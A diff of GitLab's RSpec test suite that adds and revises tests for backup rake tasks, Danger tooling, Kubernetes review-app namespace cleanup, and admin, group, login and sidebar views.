diff --git a/spec/tasks/cache/clear/redis_spec.rb b/spec/tasks/cache/clear/redis_spec.rb
index 64ed83c649b..e8c62bbe124 100644
--- a/spec/tasks/cache/clear/redis_spec.rb
+++ b/spec/tasks/cache/clear/redis_spec.rb
@@ -36,8 +36,6 @@ RSpec.describe 'clearing redis cache', :clean_gitlab_redis_cache, :silence_stdou
let(:cache) { Gitlab::RepositorySetCache.new(repository) }
before do
- pending "Enable as part of https://gitlab.com/gitlab-org/gitlab/-/issues/331319"
-
cache.write(:foo, [:bar])
end
diff --git a/spec/tasks/gitlab/backup_rake_spec.rb b/spec/tasks/gitlab/backup_rake_spec.rb
index e5a210bb344..ebaaf179546 100644
--- a/spec/tasks/gitlab/backup_rake_spec.rb
+++ b/spec/tasks/gitlab/backup_rake_spec.rb
@@ -209,6 +209,23 @@ RSpec.describe 'gitlab:app namespace rake task', :delete do
expect { run_rake_task("gitlab:backup:#{task}:create") }.to output(/Dumping /).to_stdout_from_any_process
end
end
+
+ it 'logs the progress to log file' do
+ expect(Gitlab::BackupLogger).to receive(:info).with(message: "Dumping database ... ")
+ expect(Gitlab::BackupLogger).to receive(:info).with(message: "[SKIPPED]")
+ expect(Gitlab::BackupLogger).to receive(:info).with(message: "Dumping repositories ...")
+ expect(Gitlab::BackupLogger).to receive(:info).with(message: "Dumping uploads ... ")
+ expect(Gitlab::BackupLogger).to receive(:info).with(message: "Dumping builds ... ")
+ expect(Gitlab::BackupLogger).to receive(:info).with(message: "Dumping artifacts ... ")
+ expect(Gitlab::BackupLogger).to receive(:info).with(message: "Dumping pages ... ")
+ expect(Gitlab::BackupLogger).to receive(:info).with(message: "Dumping lfs objects ... ")
+ expect(Gitlab::BackupLogger).to receive(:info).with(message: "Dumping container registry images ... ")
+ expect(Gitlab::BackupLogger).to receive(:info).with(message: "done").exactly(7).times
+
+ task_list.each do |task|
+ run_rake_task("gitlab:backup:#{task}:create")
+ end
+ end
end
end
@@ -377,6 +394,11 @@ RSpec.describe 'gitlab:app namespace rake task', :delete do
end
it 'passes through concurrency environment variables' do
+ # The way concurrency is handled will change with the `gitaly_backup`
+ # feature flag. For now we need to check that both ways continue to
+ # work. This will be cleaned up in the rollout issue.
+ # See https://gitlab.com/gitlab-org/gitlab/-/issues/333034
+
stub_env('GITLAB_BACKUP_MAX_CONCURRENCY', 5)
stub_env('GITLAB_BACKUP_MAX_STORAGE_CONCURRENCY', 2)
@@ -385,6 +407,7 @@ RSpec.describe 'gitlab:app namespace rake task', :delete do
.with(max_concurrency: 5, max_storage_concurrency: 2)
.and_call_original
end
+ expect(::Backup::GitalyBackup).to receive(:new).with(anything, parallel: 5, parallel_storage: 2).and_call_original
expect { run_rake_task('gitlab:backup:create') }.to output.to_stdout_from_any_process
end
diff --git a/spec/tasks/gitlab/db_rake_spec.rb b/spec/tasks/gitlab/db_rake_spec.rb
index 08ca6c32b49..03fbd238ee9 100644
--- a/spec/tasks/gitlab/db_rake_spec.rb
+++ b/spec/tasks/gitlab/db_rake_spec.rb
@@ -124,64 +124,31 @@ RSpec.describe 'gitlab:db namespace rake task', :silence_stdout do
describe 'clean_structure_sql' do
let_it_be(:clean_rake_task) { 'gitlab:db:clean_structure_sql' }
let_it_be(:test_task_name) { 'gitlab:db:_test_multiple_structure_cleans' }
- let_it_be(:structure_file) { 'db/structure.sql' }
let_it_be(:input) { 'this is structure data' }
+
let(:output) { StringIO.new }
before do
- stub_file_read(structure_file, content: input)
- allow(File).to receive(:open).with(structure_file, any_args).and_yield(output)
- end
+ structure_files = %w[db/structure.sql db/ci_structure.sql]
- after do
- Rake::Task[test_task_name].clear if Rake::Task.task_defined?(test_task_name)
- end
+ allow(File).to receive(:open).and_call_original
- it 'can be executed multiple times within another rake task' do
- expect_multiple_executions_of_task(test_task_name, clean_rake_task) do
- expect_next_instance_of(Gitlab::Database::SchemaCleaner) do |cleaner|
- expect(cleaner).to receive(:clean).with(output)
- end
+ structure_files.each do |structure_file|
+ stub_file_read(structure_file, content: input)
+ allow(File).to receive(:open).with(Rails.root.join(structure_file).to_s, any_args).and_yield(output)
end
end
- end
-
- describe 'load_custom_structure' do
- let_it_be(:db_config) { Rails.application.config_for(:database) }
- let_it_be(:custom_load_task) { 'gitlab:db:load_custom_structure' }
- let_it_be(:custom_filepath) { Pathname.new('db/directory') }
-
- it 'uses the psql command to load the custom structure file' do
- expect(Gitlab::Database::CustomStructure).to receive(:custom_dump_filepath).and_return(custom_filepath)
-
- expect(Kernel).to receive(:system)
- .with('psql', any_args, custom_filepath.to_path, db_config['database']).and_return(true)
-
- run_rake_task(custom_load_task)
- end
-
- it 'raises an error when the call to the psql command fails' do
- expect(Gitlab::Database::CustomStructure).to receive(:custom_dump_filepath).and_return(custom_filepath)
-
- expect(Kernel).to receive(:system)
- .with('psql', any_args, custom_filepath.to_path, db_config['database']).and_return(nil)
-
- expect { run_rake_task(custom_load_task) }.to raise_error(/failed to execute:\s*psql/)
- end
- end
-
- describe 'dump_custom_structure' do
- let_it_be(:test_task_name) { 'gitlab:db:_test_multiple_task_executions' }
- let_it_be(:custom_dump_task) { 'gitlab:db:dump_custom_structure' }
after do
Rake::Task[test_task_name].clear if Rake::Task.task_defined?(test_task_name)
end
it 'can be executed multiple times within another rake task' do
- expect_multiple_executions_of_task(test_task_name, custom_dump_task) do
- expect_next_instance_of(Gitlab::Database::CustomStructure) do |custom_structure|
- expect(custom_structure).to receive(:dump)
+ expect_multiple_executions_of_task(test_task_name, clean_rake_task, count: 2) do
+ database_count = ActiveRecord::Base.configurations.configs_for(env_name: Rails.env).size
+
+ expect_next_instances_of(Gitlab::Database::SchemaCleaner, database_count) do |cleaner|
+ expect(cleaner).to receive(:clean).with(output)
end
end
end
diff --git a/spec/tasks/gitlab/packages/composer_rake_spec.rb b/spec/tasks/gitlab/packages/composer_rake_spec.rb
index 78013714de5..f4f43bf77d8 100644
--- a/spec/tasks/gitlab/packages/composer_rake_spec.rb
+++ b/spec/tasks/gitlab/packages/composer_rake_spec.rb
@@ -10,6 +10,7 @@ RSpec.describe 'gitlab:packages:build_composer_cache namespace rake task', :sile
let_it_be(:group) { create(:group) }
let_it_be(:project) { create(:project, :custom_repo, files: { 'composer.json' => json.to_json }, group: group) }
let_it_be(:project2) { create(:project, :custom_repo, files: { 'composer.json' => json2.to_json }, group: group) }
+
let!(:package) { create(:composer_package, :with_metadatum, project: project, name: package_name, version: '1.0.0', json: json) }
let!(:package2) { create(:composer_package, :with_metadatum, project: project, name: package_name, version: '2.0.0', json: json) }
let!(:package3) { create(:composer_package, :with_metadatum, project: project2, name: package_name2, version: '3.0.0', json: json2) }
diff --git a/spec/tasks/gitlab/snippets_rake_spec.rb b/spec/tasks/gitlab/snippets_rake_spec.rb
index d40b784b3a0..c55bded1d5a 100644
--- a/spec/tasks/gitlab/snippets_rake_spec.rb
+++ b/spec/tasks/gitlab/snippets_rake_spec.rb
@@ -5,6 +5,7 @@ require 'rake_helper'
RSpec.describe 'gitlab:snippets namespace rake task', :silence_stdout do
let_it_be(:user) { create(:user)}
let_it_be(:migrated) { create(:personal_snippet, :repository, author: user) }
+
let(:non_migrated) { create_list(:personal_snippet, 3, author: user) }
let(:non_migrated_ids) { non_migrated.pluck(:id) }
diff --git a/spec/tooling/danger/feature_flag_spec.rb b/spec/tooling/danger/feature_flag_spec.rb
index 5e495cd43c6..7cae3e0a8b3 100644
--- a/spec/tooling/danger/feature_flag_spec.rb
+++ b/spec/tooling/danger/feature_flag_spec.rb
@@ -10,7 +10,7 @@ RSpec.describe Tooling::Danger::FeatureFlag do
let(:fake_danger) { DangerSpecHelper.fake_danger.include(described_class) }
- subject(:feature_flag) { fake_danger.new(git: fake_git) }
+ subject(:feature_flag) { fake_danger.new(helper: fake_helper) }
describe '#feature_flag_files' do
let(:feature_flag_files) do
@@ -87,7 +87,11 @@ RSpec.describe Tooling::Danger::FeatureFlag do
let(:feature_flag_path) { 'config/feature_flags/development/entry.yml' }
let(:group) { 'group::source code' }
let(:raw_yaml) do
- YAML.dump('group' => group)
+ YAML.dump(
+ 'group' => group,
+ 'default_enabled' => true,
+ 'rollout_issue_url' => 'https://gitlab.com/gitlab-org/gitlab/-/issues/1'
+ )
end
subject(:found) { described_class.new(feature_flag_path) }
@@ -109,6 +113,18 @@ RSpec.describe Tooling::Danger::FeatureFlag do
end
end
+ describe '#default_enabled' do
+ it 'returns the default_enabled found in the YAML' do
+ expect(found.default_enabled).to eq(true)
+ end
+ end
+
+ describe '#rollout_issue_url' do
+ it 'returns the rollout_issue_url found in the YAML' do
+ expect(found.rollout_issue_url).to eq('https://gitlab.com/gitlab-org/gitlab/-/issues/1')
+ end
+ end
+
describe '#group_match_mr_label?' do
subject(:result) { found.group_match_mr_label?(mr_group_label) }
diff --git a/spec/tooling/danger/project_helper_spec.rb b/spec/tooling/danger/project_helper_spec.rb
index 7474709d255..8bcfac5a699 100644
--- a/spec/tooling/danger/project_helper_spec.rb
+++ b/spec/tooling/danger/project_helper_spec.rb
@@ -56,24 +56,26 @@ RSpec.describe Tooling::Danger::ProjectHelper do
'ee/doc/foo' | [:unknown]
'ee/README' | [:unknown]
- 'app/assets/foo' | [:frontend]
- 'app/views/foo' | [:frontend]
- 'public/foo' | [:frontend]
- 'scripts/frontend/foo' | [:frontend]
- 'spec/javascripts/foo' | [:frontend]
- 'spec/frontend/bar' | [:frontend]
- 'vendor/assets/foo' | [:frontend]
- 'babel.config.js' | [:frontend]
- 'jest.config.js' | [:frontend]
- 'package.json' | [:frontend]
- 'yarn.lock' | [:frontend]
- 'config/foo.js' | [:frontend]
- 'config/deep/foo.js' | [:frontend]
-
- 'ee/app/assets/foo' | [:frontend]
- 'ee/app/views/foo' | [:frontend]
- 'ee/spec/javascripts/foo' | [:frontend]
- 'ee/spec/frontend/bar' | [:frontend]
+ 'app/assets/foo' | [:frontend]
+ 'app/views/foo' | [:frontend]
+ 'public/foo' | [:frontend]
+ 'scripts/frontend/foo' | [:frontend]
+ 'spec/javascripts/foo' | [:frontend]
+ 'spec/frontend/bar' | [:frontend]
+ 'spec/frontend_integration/bar' | [:frontend]
+ 'vendor/assets/foo' | [:frontend]
+ 'babel.config.js' | [:frontend]
+ 'jest.config.js' | [:frontend]
+ 'package.json' | [:frontend]
+ 'yarn.lock' | [:frontend]
+ 'config/foo.js' | [:frontend]
+ 'config/deep/foo.js' | [:frontend]
+
+ 'ee/app/assets/foo' | [:frontend]
+ 'ee/app/views/foo' | [:frontend]
+ 'ee/spec/javascripts/foo' | [:frontend]
+ 'ee/spec/frontend/bar' | [:frontend]
+ 'ee/spec/frontend_integration/bar' | [:frontend]
'.gitlab/ci/frontend.gitlab-ci.yml' | %i[frontend engineering_productivity]
@@ -183,7 +185,8 @@ RSpec.describe Tooling::Danger::ProjectHelper do
'lib/generators/rails/usage_metric_definition_generator.rb' | [:backend, :product_intelligence]
'spec/lib/generators/usage_metric_definition_generator_spec.rb' | [:backend, :product_intelligence]
'config/metrics/schema.json' | [:product_intelligence]
- 'app/assets/javascripts/tracking.js' | [:frontend, :product_intelligence]
+ 'app/assets/javascripts/tracking/foo.js' | [:frontend, :product_intelligence]
+ 'spec/frontend/tracking/foo.js' | [:frontend, :product_intelligence]
'spec/frontend/tracking_spec.js' | [:frontend, :product_intelligence]
'lib/gitlab/usage_database/foo.rb' | [:backend]
end
@@ -218,7 +221,7 @@ RSpec.describe Tooling::Danger::ProjectHelper do
describe '.local_warning_message' do
it 'returns an informational message with rules that can run' do
- expect(described_class.local_warning_message).to eq('==> Only the following Danger rules can be run locally: changelog, database, datateam, documentation, duplicate_yarn_dependencies, eslint, karma, pajamas, pipeline, prettier, product_intelligence, utility_css')
+ expect(described_class.local_warning_message).to eq('==> Only the following Danger rules can be run locally: changelog, database, documentation, duplicate_yarn_dependencies, eslint, gitaly, karma, pajamas, pipeline, prettier, product_intelligence, utility_css, vue_shared_documentation')
end
end
diff --git a/spec/tooling/lib/tooling/kubernetes_client_spec.rb b/spec/tooling/lib/tooling/kubernetes_client_spec.rb
index 636727401af..a7f50b0bb50 100644
--- a/spec/tooling/lib/tooling/kubernetes_client_spec.rb
+++ b/spec/tooling/lib/tooling/kubernetes_client_spec.rb
@@ -135,6 +135,52 @@ RSpec.describe Tooling::KubernetesClient do
end
end
+ describe '#cleanup_review_app_namespaces' do
+ let(:two_days_ago) { Time.now - 3600 * 24 * 2 }
+ let(:namespaces) { %w[review-abc-123 review-xyz-789] }
+
+ subject { described_class.new(namespace: nil) }
+
+ before do
+ allow(subject).to receive(:review_app_namespaces_created_before).with(created_before: two_days_ago).and_return(namespaces)
+ end
+
+ shared_examples 'a kubectl command to delete namespaces older than given creation time' do
+ let(:wait) { true }
+
+ specify do
+ expect(Gitlab::Popen).to receive(:popen_with_detail)
+ .with(["kubectl delete namespace " +
+ %(--now --ignore-not-found --wait=#{wait} #{namespaces.join(' ')})])
+ .and_return(Gitlab::Popen::Result.new([], '', '', double(success?: true)))
+
+ # We're not verifying the output here, just silencing it
+ expect { subject.cleanup_review_app_namespaces(created_before: two_days_ago) }.to output.to_stdout
+ end
+ end
+
+ it_behaves_like 'a kubectl command to delete namespaces older than given creation time'
+
+ it 'raises an error if the Kubernetes command fails' do
+ expect(Gitlab::Popen).to receive(:popen_with_detail)
+ .with(["kubectl delete namespace " +
+ %(--now --ignore-not-found --wait=true #{namespaces.join(' ')})])
+ .and_return(Gitlab::Popen::Result.new([], '', '', double(success?: false)))
+
+ expect { subject.cleanup_review_app_namespaces(created_before: two_days_ago) }.to raise_error(described_class::CommandFailedError)
+ end
+
+ context 'with no namespaces found' do
+ let(:namespaces) { [] }
+
+ it 'does not call #delete_namespaces_by_exact_names' do
+ expect(subject).not_to receive(:delete_namespaces_by_exact_names)
+
+ subject.cleanup_review_app_namespaces(created_before: two_days_ago)
+ end
+ end
+ end
+
describe '#raw_resource_names' do
it 'calls kubectl to retrieve the resource names' do
expect(Gitlab::Popen).to receive(:popen_with_detail)
@@ -200,4 +246,49 @@ RSpec.describe Tooling::KubernetesClient do
it_behaves_like 'a kubectl command to retrieve resource names sorted by creationTimestamp'
end
end
+
+ describe '#review_app_namespaces_created_before' do
+ let(:three_days_ago) { Time.now - 3600 * 24 * 3 }
+ let(:two_days_ago) { Time.now - 3600 * 24 * 2 }
+ let(:namespace_created_three_days_ago) { 'namespace-created-three-days-ago' }
+ let(:resource_type) { 'namespace' }
+ let(:raw_resources) do
+ {
+ items: [
+ {
+ apiVersion: "v1",
+ kind: "Namespace",
+ metadata: {
+ creationTimestamp: three_days_ago,
+ name: namespace_created_three_days_ago,
+ labels: {
+ tls: 'review-apps-tls'
+ }
+ }
+ },
+ {
+ apiVersion: "v1",
+ kind: "Namespace",
+ metadata: {
+ creationTimestamp: Time.now,
+ name: 'another-pvc',
+ labels: {
+ tls: 'review-apps-tls'
+ }
+ }
+ }
+ ]
+ }.to_json
+ end
+
+ specify do
+ expect(Gitlab::Popen).to receive(:popen_with_detail)
+ .with(["kubectl get namespace " \
+ "-l tls=review-apps-tls " \
+ "--sort-by='{.metadata.creationTimestamp}' -o json"])
+ .and_return(Gitlab::Popen::Result.new([], raw_resources, '', double(success?: true)))
+
+ expect(subject.__send__(:review_app_namespaces_created_before, created_before: two_days_ago)).to contain_exactly(namespace_created_three_days_ago)
+ end
+ end
end
diff --git a/spec/uploaders/content_type_whitelist_spec.rb b/spec/uploaders/content_type_whitelist_spec.rb
index cf7463369ab..0cafc7a3ae2 100644
--- a/spec/uploaders/content_type_whitelist_spec.rb
+++ b/spec/uploaders/content_type_whitelist_spec.rb
@@ -4,6 +4,7 @@ require 'spec_helper'
RSpec.describe ContentTypeWhitelist do
let_it_be(:model) { build_stubbed(:user) }
+
let!(:uploader) do
stub_const('DummyUploader', Class.new(CarrierWave::Uploader::Base))
diff --git a/spec/uploaders/dependency_proxy/file_uploader_spec.rb b/spec/uploaders/dependency_proxy/file_uploader_spec.rb
index 6e94a661d6d..eb12e7dffa5 100644
--- a/spec/uploaders/dependency_proxy/file_uploader_spec.rb
+++ b/spec/uploaders/dependency_proxy/file_uploader_spec.rb
@@ -5,6 +5,7 @@ RSpec.describe DependencyProxy::FileUploader do
describe 'DependencyProxy::Blob uploader' do
let_it_be(:blob) { create(:dependency_proxy_blob) }
let_it_be(:path) { Gitlab.config.dependency_proxy.storage_path }
+
let(:uploader) { described_class.new(blob, :file) }
subject { uploader }
@@ -30,6 +31,7 @@ RSpec.describe DependencyProxy::FileUploader do
let_it_be(:manifest) { create(:dependency_proxy_manifest) }
let_it_be(:initial_content_type) { 'application/json' }
let_it_be(:fixture_file) { fixture_file_upload('spec/fixtures/dependency_proxy/manifest', initial_content_type) }
+
let(:uploader) { described_class.new(manifest, :file) }
subject { uploader }
diff --git a/spec/views/admin/application_settings/_eks.html.haml_spec.rb b/spec/views/admin/application_settings/_eks.html.haml_spec.rb
index 2f45eaadc9f..e407970c7a4 100644
--- a/spec/views/admin/application_settings/_eks.html.haml_spec.rb
+++ b/spec/views/admin/application_settings/_eks.html.haml_spec.rb
@@ -4,6 +4,7 @@ require 'spec_helper'
RSpec.describe 'admin/application_settings/_eks' do
let_it_be(:admin) { create(:admin) }
+
let(:page) { Capybara::Node::Simple.new(rendered) }
before do
diff --git a/spec/views/admin/application_settings/_package_registry.html.haml_spec.rb b/spec/views/admin/application_settings/_package_registry.html.haml_spec.rb
index e0aa2fc8d56..72e32643a49 100644
--- a/spec/views/admin/application_settings/_package_registry.html.haml_spec.rb
+++ b/spec/views/admin/application_settings/_package_registry.html.haml_spec.rb
@@ -6,6 +6,7 @@ RSpec.describe 'admin/application_settings/_package_registry' do
let_it_be(:admin) { create(:admin) }
let_it_be(:default_plan_limits) { create(:plan_limits, :default_plan, :with_package_file_sizes) }
let_it_be(:application_setting) { build(:application_setting) }
+
let(:page) { Capybara::Node::Simple.new(rendered) }
before do
diff --git a/spec/views/admin/application_settings/ci_cd.html.haml_spec.rb b/spec/views/admin/application_settings/ci_cd.html.haml_spec.rb
new file mode 100644
index 00000000000..4d40bf5671e
--- /dev/null
+++ b/spec/views/admin/application_settings/ci_cd.html.haml_spec.rb
@@ -0,0 +1,56 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'admin/application_settings/ci_cd.html.haml' do
+ let_it_be(:app_settings) { build(:application_setting) }
+ let_it_be(:user) { create(:admin) }
+
+ let_it_be(:default_plan_limits) { create(:plan_limits, :default_plan, :with_package_file_sizes) }
+
+ before do
+ assign(:application_setting, app_settings)
+ assign(:plans, [default_plan_limits.plan])
+ allow(view).to receive(:current_user).and_return(user)
+ end
+
+ describe 'CI CD Runner Registration' do
+ context 'when feature flag is enabled' do
+ before do
+ stub_feature_flags(runner_registration_control: true)
+ end
+
+ it 'has the setting section' do
+ render
+
+ expect(rendered).to have_css("#js-runner-settings")
+ end
+
+ it 'renders the correct setting section content' do
+ render
+
+ expect(rendered).to have_content("Runner registration")
+ expect(rendered).to have_content("If no options are selected, only administrators can register runners.")
+ end
+ end
+
+ context 'when feature flag is disabled' do
+ before do
+ stub_feature_flags(runner_registration_control: false)
+ end
+
+ it 'does not have the setting section' do
+ render
+
+ expect(rendered).not_to have_css("#js-runner-settings")
+ end
+
+ it 'does not render the correct setting section content' do
+ render
+
+ expect(rendered).not_to have_content("Runner registration")
+ expect(rendered).not_to have_content("If no options are selected, only administrators can register runners.")
+ end
+ end
+ end
+end
diff --git a/spec/views/admin/application_settings/repository.html.haml_spec.rb b/spec/views/admin/application_settings/repository.html.haml_spec.rb
index 47cadd29e33..30047878b0f 100644
--- a/spec/views/admin/application_settings/repository.html.haml_spec.rb
+++ b/spec/views/admin/application_settings/repository.html.haml_spec.rb
@@ -22,7 +22,7 @@ RSpec.describe 'admin/application_settings/repository.html.haml' do
render
expect(rendered).to have_content("Default initial branch name")
- expect(rendered).to have_content("Set the default name of the initial branch when creating new repositories through the user interface.")
+ expect(rendered).to have_content("The default name for the initial branch of new repositories created in the instance.")
end
end
end
diff --git a/spec/views/devise/sessions/new.html.haml_spec.rb b/spec/views/devise/sessions/new.html.haml_spec.rb
index b5c69f4f04d..d3552bf2e5a 100644
--- a/spec/views/devise/sessions/new.html.haml_spec.rb
+++ b/spec/views/devise/sessions/new.html.haml_spec.rb
@@ -3,6 +3,32 @@
require 'spec_helper'
RSpec.describe 'devise/sessions/new' do
+ describe 'marketing text' do
+ subject { render(template: 'devise/sessions/new', layout: 'layouts/devise') }
+
+ before do
+ stub_devise
+ disable_captcha
+ allow(Gitlab).to receive(:dev_env_or_com?).and_return(true)
+ end
+
+ it 'when flash is anything it renders marketing text' do
+ flash[:notice] = "You can't do that"
+
+ subject
+
+ expect(rendered).to have_content('A complete DevOps platform')
+ end
+
+ it 'when flash notice is devise confirmed message it hides marketing text' do
+ flash[:notice] = t(:confirmed, scope: [:devise, :confirmations])
+
+ subject
+
+ expect(rendered).not_to have_content('A complete DevOps platform')
+ end
+ end
+
describe 'ldap' do
include LdapHelpers
diff --git a/spec/views/groups/_home_panel.html.haml_spec.rb b/spec/views/groups/_home_panel.html.haml_spec.rb
index b8168b20450..e76862cdaea 100644
--- a/spec/views/groups/_home_panel.html.haml_spec.rb
+++ b/spec/views/groups/_home_panel.html.haml_spec.rb
@@ -14,4 +14,30 @@ RSpec.describe 'groups/_home_panel' do
expect(rendered).to have_content("Group ID: #{group.id}")
end
+
+ context 'admin area link' do
+ it 'renders admin area link for admin' do
+ allow(view).to receive(:current_user).and_return(create(:admin))
+
+ render
+
+ expect(rendered).to have_link(href: admin_group_path(group))
+ end
+
+ it 'does not render admin area link for non-admin' do
+ allow(view).to receive(:current_user).and_return(create(:user))
+
+ render
+
+ expect(rendered).not_to have_link(href: admin_group_path(group))
+ end
+
+ it 'does not render admin area link for anonymous' do
+ allow(view).to receive(:current_user).and_return(nil)
+
+ render
+
+ expect(rendered).not_to have_link(href: admin_group_path(group))
+ end
+ end
end
diff --git a/spec/views/groups/runners/_group_runners.html.haml_spec.rb b/spec/views/groups/runners/_group_runners.html.haml_spec.rb
new file mode 100644
index 00000000000..0d47409c658
--- /dev/null
+++ b/spec/views/groups/runners/_group_runners.html.haml_spec.rb
@@ -0,0 +1,43 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'groups/runners/group_runners.html.haml' do
+ describe 'render' do
+ let_it_be(:user) { create(:user) }
+ let_it_be(:group) { create(:group) }
+
+ before do
+ @group = group
+ allow(view).to receive(:current_user).and_return(user)
+ allow(view).to receive(:reset_registration_token_group_settings_ci_cd_path).and_return('banana_url')
+ allow(view).to receive(:can?).with(user, :admin_pipeline, group).and_return(true)
+ end
+
+ context 'when group runner registration is allowed' do
+ before do
+ stub_application_setting(valid_runner_registrars: ['group'])
+ end
+
+ it 'enables the Remove group button for a group' do
+ render 'groups/runners/group_runners', group: group
+
+ expect(rendered).to have_selector '#js-install-runner'
+ expect(rendered).not_to have_content 'Please contact an admin to register runners.'
+ end
+ end
+
+ context 'when group runner registration is not allowed' do
+ before do
+ stub_application_setting(valid_runner_registrars: ['project'])
+ end
+
+ it 'does not enable the the Remove group button for a group' do
+ render 'groups/runners/group_runners', group: group
+
+ expect(rendered).to have_content 'Please contact an admin to register runners.'
+ expect(rendered).not_to have_selector '#js-install-runner'
+ end
+ end
+ end
+end
diff --git a/spec/views/groups/settings/_transfer.html.haml_spec.rb b/spec/views/groups/settings/_transfer.html.haml_spec.rb
new file mode 100644
index 00000000000..aeb70251a62
--- /dev/null
+++ b/spec/views/groups/settings/_transfer.html.haml_spec.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'groups/settings/_transfer.html.haml' do
+ describe 'render' do
+ it 'enables the Select parent group dropdown and does not show an alert for a group' do
+ group = build(:group)
+
+ render 'groups/settings/transfer', group: group
+
+ expect(rendered).to have_selector '[data-qa-selector="select_group_dropdown"]'
+ expect(rendered).not_to have_selector '[data-qa-selector="select_group_dropdown"][disabled]'
+ expect(rendered).not_to have_selector '[data-testid="group-to-transfer-has-linked-subscription-alert"]'
+ end
+ end
+end
diff --git a/spec/views/help/show.html.haml_spec.rb b/spec/views/help/show.html.haml_spec.rb
index ab303919673..dc73b4a2cfe 100644
--- a/spec/views/help/show.html.haml_spec.rb
+++ b/spec/views/help/show.html.haml_spec.rb
@@ -5,7 +5,7 @@ require 'spec_helper'
RSpec.describe 'help/show' do
describe 'Markdown rendering' do
before do
- assign(:path, 'ssh/README')
+ assign(:path, 'ssh/index')
assign(:markdown, 'Welcome to [GitLab](https://about.gitlab.com/) Documentation.')
end
diff --git a/spec/views/layouts/_head.html.haml_spec.rb b/spec/views/layouts/_head.html.haml_spec.rb
index 6752bdc8337..2c7289deaef 100644
--- a/spec/views/layouts/_head.html.haml_spec.rb
+++ b/spec/views/layouts/_head.html.haml_spec.rb
@@ -100,7 +100,7 @@ RSpec.describe 'layouts/_head' do
it 'add a Matomo Javascript' do
render
- expect(rendered).to match(/<script.*>.*var u="\/\/#{matomo_host}\/".*<\/script>/m)
+ expect(rendered).to match(%r{<script.*>.*var u="//#{matomo_host}/".*</script>}m)
expect(rendered).to match(%r(<noscript>.*<img src="//#{matomo_host}/matomo.php.*</noscript>))
expect(rendered).not_to include('_paq.push(["disableCookies"])')
end
diff --git a/spec/views/layouts/_search.html.haml_spec.rb b/spec/views/layouts/_search.html.haml_spec.rb
index f0c7cb57b25..ceb82e3640e 100644
--- a/spec/views/layouts/_search.html.haml_spec.rb
+++ b/spec/views/layouts/_search.html.haml_spec.rb
@@ -25,6 +25,15 @@ RSpec.describe 'layouts/_search' do
end
shared_examples 'search context scope is set' do
+ context 'when rendering' do
+ it 'sets the placeholder' do
+ render
+
+ expect(rendered).to include('placeholder="Search GitLab"')
+ expect(rendered).to include('aria-label="Search GitLab"')
+ end
+ end
+
context 'when on issues' do
it 'sets scope to issues' do
render
diff --git a/spec/views/layouts/nav/sidebar/_group.html.haml_spec.rb b/spec/views/layouts/nav/sidebar/_group.html.haml_spec.rb
index 50390964e1b..7df076d35c4 100644
--- a/spec/views/layouts/nav/sidebar/_group.html.haml_spec.rb
+++ b/spec/views/layouts/nav/sidebar/_group.html.haml_spec.rb
@@ -27,62 +27,11 @@ RSpec.describe 'layouts/nav/sidebar/_group' do
expect(rendered).to have_link('Group information', href: activity_group_path(group))
end
- it 'does not have a link to the details menu item' do
- render
-
- expect(rendered).not_to have_link('Details', href: details_group_path(group))
- end
-
it 'has a link to the members page' do
render
expect(rendered).to have_selector('.sidebar-top-level-items > li.home a[title="Members"]')
expect(rendered).to have_link('Members', href: group_group_members_path(group))
end
-
- context 'when feature flag :sidebar_refactor is disabled' do
- before do
- stub_feature_flags(sidebar_refactor: false)
- end
-
- it 'has a link to the group path with the "Group overview" title' do
- render
-
- expect(rendered).to have_link('Group overview', href: group_path(group))
- end
-
- it 'has a link to the details menu item' do
- render
-
- expect(rendered).to have_link('Details', href: details_group_path(group))
- end
-
- it 'does not have a link to the members page' do
- render
-
- expect(rendered).not_to have_selector('.sidebar-top-level-items > li.home a[title="Members"]')
- end
- end
- end
-
- describe 'Members' do
- it 'does not have a Members menu' do
- render
-
- expect(rendered).not_to have_selector('.nav-item-name', text: 'Members')
- end
-
- context 'when feature flag :sidebar_refactor is disabled' do
- before do
- stub_feature_flags(sidebar_refactor: false)
- end
-
- it 'has a Member menu' do
- render
-
- expect(rendered).to have_selector('.nav-item-name', text: 'Members')
- expect(rendered).to have_link('Members', href: group_group_members_path(group))
- end
- end
end
end
diff --git a/spec/views/layouts/nav/sidebar/_project.html.haml_spec.rb b/spec/views/layouts/nav/sidebar/_project.html.haml_spec.rb
index a1aa7c04b67..f2de43dfd19 100644
--- a/spec/views/layouts/nav/sidebar/_project.html.haml_spec.rb
+++ b/spec/views/layouts/nav/sidebar/_project.html.haml_spec.rb
@@ -36,38 +36,6 @@ RSpec.describe 'layouts/nav/sidebar/_project' do
expect(rendered).to have_selector('[aria-label="Project information"]')
end
- context 'when feature flag :sidebar_refactor is disabled' do
- before do
- stub_feature_flags(sidebar_refactor: false)
- end
-
- it 'has a link to the project path' do
- render
-
- expect(rendered).to have_link('Project overview', href: project_path(project), class: %w(shortcuts-project))
- expect(rendered).to have_selector('[aria-label="Project overview"]')
- end
- end
-
- describe 'Details' do
- it 'does not have a link to the details menu' do
- render
-
- expect(rendered).not_to have_link('Details', href: project_path(project))
- end
-
- context 'when feature flag :sidebar_refactor is disabled' do
- it 'has a link to the projects path' do
- stub_feature_flags(sidebar_refactor: false)
-
- render
-
- expect(rendered).to have_link('Details', href: project_path(project), class: 'shortcuts-project')
- expect(rendered).to have_selector('[aria-label="Project details"]')
- end
- end
- end
-
describe 'Activity' do
it 'has a link to the project activity path' do
render
@@ -76,24 +44,6 @@ RSpec.describe 'layouts/nav/sidebar/_project' do
end
end
- describe 'Releases' do
- it 'does not have a link to the project releases path' do
- render
-
- expect(rendered).not_to have_link('Releases', href: project_releases_path(project), class: 'shortcuts-project-releases')
- end
-
- context 'when feature flag :sidebar refactor is disabled' do
- it 'has a link to the project releases path' do
- stub_feature_flags(sidebar_refactor: false)
-
- render
-
- expect(rendered).to have_link('Releases', href: project_releases_path(project), class: 'shortcuts-project-releases')
- end
- end
- end
-
describe 'Labels' do
let(:page) { Nokogiri::HTML.parse(rendered) }
@@ -103,16 +53,6 @@ RSpec.describe 'layouts/nav/sidebar/_project' do
expect(page.at_css('.shortcuts-project-information').parent.css('[aria-label="Labels"]')).not_to be_empty
expect(rendered).to have_link('Labels', href: project_labels_path(project))
end
-
- context 'when feature flag :sidebar_refactor is disabled' do
- it 'does not have the labels menu item' do
- stub_feature_flags(sidebar_refactor: false)
-
